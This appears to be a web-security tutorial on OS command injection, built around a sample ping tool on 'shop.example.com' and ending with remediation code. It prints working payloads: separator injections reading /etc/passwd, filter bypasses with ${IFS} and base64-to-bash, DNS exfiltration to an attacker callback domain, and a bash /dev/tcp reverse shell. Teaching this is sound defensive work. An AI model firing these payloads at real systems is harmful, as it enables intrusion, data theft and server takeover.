Command Injection to RCE

Somewhere on the app there is a harmless little tool — ping a host, look up a domain, export a PDF. Behind it, a developer glued your input straight onto a shell command. The shell can’t tell your data apart from its own syntax. Add one character and you’re no longer pinging a host. You’re running commands on the server.

Somewhere on the app there is a harmless little tool — ping a host, look up a domain, export a PDF. Behind it, a developer glued your input straight onto a shell command. The shell can’t tell your data apart from its own syntax. Add one character and you’re no longer pinging a host. You’re running commands on the server.

9 min read Visual + payloads Critical · full RCE

Plenty of web apps still shell out to the operating system for the unglamorous jobs — resolving a hostname, converting an image, rendering a report. The bug shows up the moment a developer takes something you typed and pastes it into that command as plain text. To you it’s a hostname. To the shell, characters like ; and | aren’t letters at all — they’re instructions. So when the code builds ping -c1 followed by your input, you don’t have to give it a host. You can give it a host and a second command, and the shell will dutifully run both. That’s OS command injection, and on a bad day it’s a one-line path to full remote code execution.

The mistake: building a command out of a string

Picture the most boring feature imaginable — a “Network Tools” page with a box that pings whatever host you type. The developer wires it up the obvious way: take the host parameter, glue it onto a command, and hand the whole string to the shell.

app/network.php — the vulnerable line
// $host comes straight from the request — no checks
$host = $_POST['host'];
// the app asks a SHELL to run this whole string:
system("ping -c1 " . $host);

# with a normal host it does exactly what you'd expect:
$ ping -c1 8.8.8.8
# but the shell reads ; | & && $() `` as SYNTAX, not text...

Here’s the whole problem in one sentence: the shell parses the finished string for meaning before it runs anything. Your input was supposed to be inert data — a hostname — but it’s travelling through a layer whose entire job is to interpret punctuation. A semicolon ends a command. A pipe feeds one command’s output into the next. Backticks and $( ) run a command and splice its output back in. None of that was meant for you to control, and yet it is sitting right next to your text with nothing in between.

What the attacker types

So instead of a host, you send 8.8.8.8; id. The app builds ping -c1 8.8.8.8; id and hands it to the shell. The shell sees two statements separated by a semicolon: ping that address, then run id. The ping runs, finishes, and then your command runs too — as whatever user the web server is, usually www-data.

https://shop.example.com/tools/ping
Network Tools — Ping
Check whether a host is reachable from our datacentre.
Host:8.8.8.8Ping →
1Find a feature that runs a system command behind the scenes — ping, traceroute, DNS lookup, PDF export, image convert.
2Probe the field with one separator and a tiny command: append ; id (or | whoami) to a value the feature already accepts.
3Read the response. If the output of your command shows up alongside the normal result, you have in-band command injection — and a foothold.
Burp Suite — Repeater
Request
POST /tools/ping HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded

host=8.8.8.8;id
Response — 200 OK
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=6.0 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% loss
uid=33(www-data) gid=33(www-data) groups=33(www-data)

That last line is the whole game. uid=33(www-data) is the output of id running on the server, printed straight back to you under the ping results. The application thought it was pinging a host. It was actually executing your code. From here, everything the www-data user can touch, you can touch.

Three flavours: in-band, blind, out-of-band

You won’t always get a tidy uid=33 printed back. Whether the output comes home decides how you detect and exploit the bug, and there are three shapes it takes.

In-band (results-based) is the friendly case above: the command’s output is reflected in the HTTP response, so you simply read your answer off the page. Blind is when the command runs but you never see its output — the app swallows it. You can’t see id, but you can still prove execution by making the server wait: inject ; sleep 10 and watch the response take ten seconds longer. If it hangs on cue, your command ran. Out-of-band (OAST) is for when even timing is awkward, or when you want to exfiltrate data: make the server reach out to a host you control, e.g. ; nslookup x.attacker.oastify.com. When the DNS query lands on your Collaborator/interactsh server, that callback is undeniable proof — and you can smuggle command output into the subdomain to get it back.

Burp Suite — Repeater (blind / time-based)
Request
POST /tools/ping HTTP/1.1
Host: shop.example.com

host=8.8.8.8;sleep 10
Response — 200 OK
(no command output shown)
Host appears reachable.

  Response received: 10.04 s
baseline for this request was ~0.04 s
4No output? Go blind. Inject ; sleep 10 — a 10-second delay that only appears when you ask for it proves the command executed.
5Still nothing? Go out-of-band. Inject ; nslookup x.attacker.oastify.com and watch your Collaborator for the DNS hit. The callback is the confirmation.

The payloads you actually send

Every injection comes down to the same move: break out of the intended command, then bolt yours on. The separator you choose changes the behaviour. ; and a newline run your command after the first regardless of how it went. | pipes the first command’s output into yours (and often discards the original output, handy when you only want yours). && runs yours only if the first succeeds, || only if it fails. Backticks and $( ) are command substitution — they run inside the original command and splice the result in place.

command-injection payloads — host field
# --- separators: end the ping, run your command ---
8.8.8.8; id                  # run id after the ping
8.8.8.8 | whoami             # pipe — often shows only YOUR output
8.8.8.8 && cat /etc/passwd   # run only if ping succeeds
8.8.8.8 || id                # run only if ping fails

# --- command substitution: runs INSIDE the original ---
8.8.8.8 $(id)                # $(...) splices the output in
8.8.8.8 `id`                  # backticks do the same thing

# --- blind: no output, so prove it with time or a callback ---
8.8.8.8; sleep 10            # time-based: 10s delay = it ran
8.8.8.8; nslookup x.oastify.com   # OOB: DNS hit on YOUR server

# --- exfiltrate command output over DNS (OOB data) ---
8.8.8.8; nslookup `whoami`.x.oastify.com   # www-data.x.oastify.com

A quick housekeeping note that saves a lot of confusion: this is command injection, not code injection. Code injection feeds the application’s own language to its interpreter — think a stray eval() running PHP you supplied. Command injection escapes the application entirely and hands instructions to the operating system’s shell. Different layer, both ugly, and the same root cause: untrusted input ending up somewhere a parser will interpret it.

When there’s a filter in the way

Real targets aren’t always naked. Someone bolted on a blacklist — strips spaces, blocks the word whoami, drops obvious separators. That stops the lazy payload, not a determined one, because the shell offers a dozen ways to write the same thing. Blacklisting shell syntax is a losing game, and this is why.

beating naive blacklists
# spaces blocked? the shell's field separator still works
;cat${IFS}/etc/passwd            # ${IFS} expands to a space
;cat$IFS$9/etc/passwd            # classic IFS variant
{cat,/etc/passwd}                # brace expansion, no spaces

# keyword 'whoami' blacklisted? break it up — shell still reads it
w''hoami                         # empty quotes vanish at parse time
w\hoami                          # a backslash before a normal char = nothing
who$@ami                         # $@ expands to empty
/bin/cat /etc/pa*swd             # wildcard dodges literal matching

# everything filtered? encode it, decode at runtime
echo${IFS}aWQK|base64${IFS}-d|bash   # base64 "id" -> piped to bash

# separator blocked? try another — they're not all on the list
8.8.8.8%0a id                    # newline (URL-encoded) is a separator too

The pattern is always the same: the filter checks the bytes you sent, but the shell normalises them before it runs anything. ${IFS} becomes a space. w''hoami becomes whoami once the empty quotes collapse. base64 -d | bash hides the entire payload inside an innocent-looking blob until the moment it executes. You aren’t defeating the shell — you’re using it exactly as designed, which is the part defenders keep underestimating.

From one command to a shell you live in

Running id proves the bug. Nobody stops there. The next step is an interactive foothold — a reverse shell, where the server connects out to you (outbound usually isn’t firewalled the way inbound is) and you get a live prompt on the box.

escalate to a reverse shell
# 1) on YOUR box, start a listener
$ nc -lvnp 4444

# 2) inject a reverse-shell one-liner into the host field
#    (attacker = 10.10.14.7)
8.8.8.8; bash -i >& /dev/tcp/10.10.14.7/4444 0>&1

# 3) the connection lands — you now have a live shell as www-data
connect to [10.10.14.7] from (UNKNOWN) [203.0.113.9]
www-data@web-01:/var/www/html$ whoami
www-data
www-data@web-01:/var/www/html$ sudo -l   # now hunt for privesc

And that’s the whole arc: a ping box becomes a remote shell. From www-data you read the app’s config and database credentials, pivot to the internal network, and start looking for a way to root — a sudo misconfig, a SUID binary, a stale kernel. The injection was the front door; everything after is post-exploitation. Which is exactly why this bug is rated critical and not “informational.”

The fix: stop handing strings to a shell

There is one real fix, and escaping is not it. The reason injection exists is that input and command syntax share a string and a shell parses them together. So don’t do that. Run the program directly, passing the arguments as a list, so the OS never invokes a shell to parse anything. Now your input is just argv[1] — a literal string the program receives, with no punctuation that means anything to anyone.

How to kill command injectionDon’t call a shell. Execute the binary directly and pass arguments as an array/list so nothing is ever parsed as shell syntax. In Python use subprocess.run(["ping","-c1",host], shell=False) — never os.system(), os.popen(), or shell=True with concatenation. In PHP, if you truly must shell out, wrap every argument in escapeshellarg($host) and prefer proc_open over system()/exec()/` `. Then allow-list the input (e.g. validate it really is an IP/hostname), and run least-privilege so a slip is contained. Do not rely on a blacklist of metacharacters — it is bypassable by design.
safe code — input becomes a literal argument
# PYTHON — pass a LIST, no shell parses it
import subprocess, ipaddress
ipaddress.ip_address(host)          # allow-list: must be a valid IP
subprocess.run(["ping","-c1", host], shell=False)
# "8.8.8.8; id" is now ONE argument to ping — it just fails to resolve

# PHP — if you must shell out, quote EVERY argument
$host = escapeshellarg($_POST['host']);
system("ping -c1 " . $host);   # ; | $() are now inert text

# BETTER PHP — skip the shell entirely
proc_open(["ping","-c1",$host], $spec, $pipes);

At a glance

FlavourHow you detect itExample payload
In-bandYour command’s output is reflected in the HTTP response8.8.8.8; id
Blind (time)Response stalls on cue — an injected delay you control8.8.8.8; sleep 10
Out-of-bandA DNS/HTTP callback lands on your Collaborator server; nslookup x.oastify.com
OOB exfilCommand output smuggled into the callback subdomain; nslookup `whoami`.x.oastify.com
Filter bypassSame execution, syntax the blacklist didn’t expect;cat${IFS}/etc/passwd
Bottom lineOS command injection happens when an app builds a shell command by gluing your input onto a string — the shell then reads characters like ; | & $() ` as syntax, so 8.8.8.8; id runs id as the web user. Confirm it in-band (output reflected), blind (; sleep 10 delay), or out-of-band (; nslookup x.oastify.com callback), beat naive filters with ${IFS}, quote-splitting and base64|bash, then escalate to a reverse shell for full RCE. The only real fix is to never hand a string to a shell: run the binary directly with arguments as a list (subprocess.run([...], shell=False), escapeshellarg), allow-list the input, and run least-privilege. Blacklisting metacharacters does not work.
Reactions

Related Articles